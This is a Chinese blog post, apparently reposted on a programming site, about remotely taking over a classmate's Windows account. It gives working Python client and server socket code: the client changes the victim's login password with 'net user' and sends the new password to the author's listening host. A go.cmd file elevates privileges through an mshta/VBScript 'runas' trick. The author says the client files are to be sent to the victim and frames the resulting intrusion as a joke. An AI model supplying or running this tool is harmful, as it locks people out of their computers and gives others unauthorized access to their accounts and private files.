前言

班花加我說她電話壞了讓我看看,那肯定義不容辭!【興奮了半個小時】沒別的我就想秀一下技術!五分鐘后我修好了,電腦重啟之后顯示輸入密碼,當時沒多想直接走了,回去之后我能不能用技術遠程決議一下這個開機密碼呢,說干就干,

工具準備

開發環境:win10、python3.7
開發工具:pycharm
專案思路決議
一想到遠程,就想到創建連接,一想到創建鏈接,就想到socket套接字(一想到套接字,就聯想到我沒有女朋)

該專案代碼為3份(記住自己拿的是服務端的代碼,客服端代碼和go.cmd是發給別人的)
首先正常流程創建服務端的服務
服務端流程:
- 創建套接字
-系結ip和埠
-設定監聽
-等待鏈接
-接受資料列印資料
-關閉鏈接
import socket # 匯入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 創建socket
server.bind(('192.168.246.1', 44444)) # 系結IP/埠
server.listen(5) # 監聽
print('***********等待連接*********')
conn, addr = server.accept() # 連接
print(conn)
print('客戶端的地址:', addr)
client_msg = conn.recv(1024)
print('客戶端修改的密碼是: %s' % client_msg)
conn.close()
server.close()
windows的修改電腦密碼的命令:net User 用戶名 修改的密碼(可以自己動手試一下)

客戶端流程:
- 創建套接字
-連接服務端的IP和埠
-獲取當前使用的電腦賬戶名
-生成隨機的電腦密碼
-在終端執行修改Windows密碼的指令
-發送修改之后的密碼
-關閉套接字
import socket # 匯入用到的模塊
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 創建socket實體
client.connect((ip, 埠)) # 連接server端IP地址/埠按你自己實際情況來
user = getpass.getuser() # 獲取計算機用戶名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的亂數
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # 在本地執行(類似于cmd命令)
client.send(psd.encode('utf-8')) # 將密碼發送給server端
back_msg = client.recv(1024)
client.close() # 關閉socket
到這一步基本就可以自己去嘗試了,但是要注意,當前代碼只能修改權限是admin的賬戶,

-
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
下面會有怎么修改非admin的內容嘛??????
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*

非admin用戶需要提高自己的執行權限
直接使用超級管理員權限執行cmd檔案
go.cmd
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py
小結
最后我修改密碼成功登陸,竟然發現了她的密碼!

這鐵憨憨C盤滿了都不知道清理,一看就是不太懂電腦的亞子!班花那么好看竟然不太懂電腦,真是驚人的發現哩!

PS:最后我啥都沒動改回去了! 僅供學習技術交流!切勿違法違紀!本人不承擔一切后果!
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/286313.html
標籤:python
上一篇:用Python幫老哥選出好基金,穩賺一筆,老哥專門提著茅臺登門拜訪
下一篇:用Python編程識別手勢數字
